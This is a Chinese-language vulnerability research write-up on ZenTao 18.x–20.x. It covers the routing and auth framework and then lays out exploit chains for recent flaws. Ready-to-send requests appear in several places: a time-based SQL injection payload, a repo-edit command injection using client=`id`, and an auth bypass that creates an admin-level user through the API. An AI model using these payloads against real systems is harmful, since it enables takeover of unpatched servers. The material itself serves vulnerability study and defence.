禅道18.x-20.x版本漏洞挖掘思路分析
字数 2095
更新时间 2025-08-22 22:47:30

禅道18.x-20.x版本漏洞挖掘思路分析

1. 框架分析

1.1 路由分析

禅道入口文件有三个:

  • api.php(接口)
  • index.php
  • x.php

三者路由文件主要思路相似,都会引用以下四个基本文件:

include '../framework/router.class.php'; // 路由文件
include '../framework/control.class.php'; // 控制器文件
include '../framework/model.class.php'; // 模型文件
include '../framework/helper.class.php'; // 助手函数

通过router::createApp进行程序应用创建:

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

// baseRouter::createApp()方法
public static function createApp(string $appName = 'demo', string $appRoot = '', string $className = '', string $mode = 'running') {
    if(empty($className)) $className = self::class;
    return new $className($appName, $appRoot, $mode);
}

index.php入口文件会进行router实例化触发__construct,实现多项程序配置:

public function __construct(string $appName = 'demo', string $appRoot = '', string $mode = 'running') {
    // 多项配置设置...
    $this->loadMainConfig(); // 加载config目录下默认的config.php文件
    $this->loadClass('front', $static = true);
    // 更多类加载...
    $this->connectDB(); // 自动连接数据库
    // 更多设置...
}

路由处理流程:

  1. $app->parseRequest() - 根据请求类型(PATH_INFO/GET)解析URL
  2. $app->setParams() - 参数设置
  3. $common->checkPriv() - 权限检测
  4. $app->loadModule() - 模块加载

1.2 鉴权分析

通过commonModel::checkPriv进行鉴权,$openMethods数组存储允许未授权访问的方法,还可以在isOpenMethod方法中判定是否可以未授权访问。

isOpenMethod方法列举了可以未授权访问的方法:

public function isOpenMethod(string $module, string $method): bool {
    if(in_array("$module.$method", $this->config->openMethods)) return true;
    if($module == 'block' and $method == 'main' and isset($_GET['hash'])) return true;
    if($this->loadModel('user')->isLogon() or ($this->app->company->guest and $this->app->user->account == 'guest')) {
        if(stripos($method, 'ajax') !== false) return true;
        // 更多开放方法判断...
    }
    return false;
}

用户认证方式:

  1. userModel::isLogon() - 判断用户是否登录
  2. identifyByCookie - 通过cookie认证
  3. identifyByPhpAuth - 通过PHP server用户认证

本质都是通过userModel::identifyUser验证用户和密码,默认通过比对32位md5值校验。

2. 近两年RCE漏洞分析

2.1 baseRouter::setVersion SQL注入

baseRouter::setVision()方法没有对$account过滤直接拼接到SQL语句并执行,存在SQL注入。

触发方式:在请求中GET或POST添加account参数并写入payload:

/?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b

2.2 captcha session+repoModel命令注入

2.2.1 captcha获取session

module/misc/control.phpcaptcha方法能设置任意key的session:

public function captcha($type = '') {
    $this->session->set($type, $this->post->captcha);
    // ...
}

2.2.2 后台repoModel命令注入

module/repo/model.phpcheckConnection函数存在命令注入:

public function checkConnection() {
    if($this->post->SCM == 'Subversion') {
        $client = $this->post->client;
        exec("$client --version", $version, $result);
        // ...
    }
}

绕过checkClient方法:

  • 创建仓库时SCM设置为Gitlab可以绕过第一次checkClient
  • 编辑仓库时修改SCM为Subversion触发checkConnection执行命令

2.2.3 漏洞复现步骤

  1. 通过访问验证码获取session:

    /zentao/misc-captcha-user.html
    
  2. 创建仓库(SCM设置为Gitlab):

    POST /zentao/repo-create.html HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
    
  3. 编辑仓库触发命令执行(SCM改为Subversion):

    POST /zentao/repo-edit-10000-10000.html HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    SCM=Subversion&client=`id`
    

2.3 captcha session+convert-importNotice SQL注入+定时任务RCE

漏洞链:

  1. convertModel::dbExists()方法存在SQL注入
  2. convert::importNotice()调用dbExists且未过滤外部数据
  3. 通过堆叠注入修改定时任务实现RCE

2.4 custom::ajaxSaveCustomFields+apiGetModel+repoModel::checkConnection命令注入

漏洞链:

  1. custom::ajaxSaveCustomFields未过滤外部输入直接修改配置
  2. 修改$config->features->apiGetModel开启超级Model功能
  3. api::getModel()通过call_user_func_array实现任意代码执行

2.5 testcase::saveXmindImport auth bypass

2.5.1 deny获取session

commonModel::deny()方法可以设置session绕过身份认证:

public function deny(string $module, string $method, bool $reload = true) {
    if($reload) {
        $user = $this->app->user;
        // 获取权限...
        $this->session->set('user', $user);
        // ...
    }
}

testcase::saveXmindImport调用deny方法:

public function saveXmindImport() {
    if(!commonModel::hasPriv('testcase', 'importXmind')) 
        $this->loadModel('common')->deny('testcase', 'importXmind');
    // ...
}

2.5.2 api接口创建用户

usersEnty::post()可以创建用户,没有权限检查:

public function post() {
    // 设置用户信息...
    $control = $this->loadController('user', 'create');
    $this->requireFields('account,password1,realname');
    $control->create();
    // ...
}

2.5.3 漏洞复现步骤

  1. 设置session:

    /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest
    
  2. 创建用户(POST请求):

    POST /zentao/api.php/v1/users HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    account=attacker&password1=123456&realname=attacker&group=1&role=top
    

3. 漏洞挖掘思路总结

  1. 路由分析:理解禅道的路由机制,关注isOpenMethod$config->openMethods定义的白名单
  2. 鉴权绕过:寻找可以设置session的地方,如captchadeny方法
  3. SQL注入:搜索直接拼接SQL语句的地方,特别是PDO允许多语句执行的情况
  4. 命令注入:查找execsystem等函数调用,分析参数是否可控
  5. 配置修改:寻找可以修改系统配置的接口,如custom::ajaxSaveCustomFields
  6. API滥用:检查API接口的权限控制,特别是超级Model功能
  7. 定时任务:分析定时任务执行机制,寻找注入点修改任务内容

通过系统性地分析禅道的框架机制和权限控制,可以有效地发现潜在的安全漏洞。

相似文章
相似文章
 全屏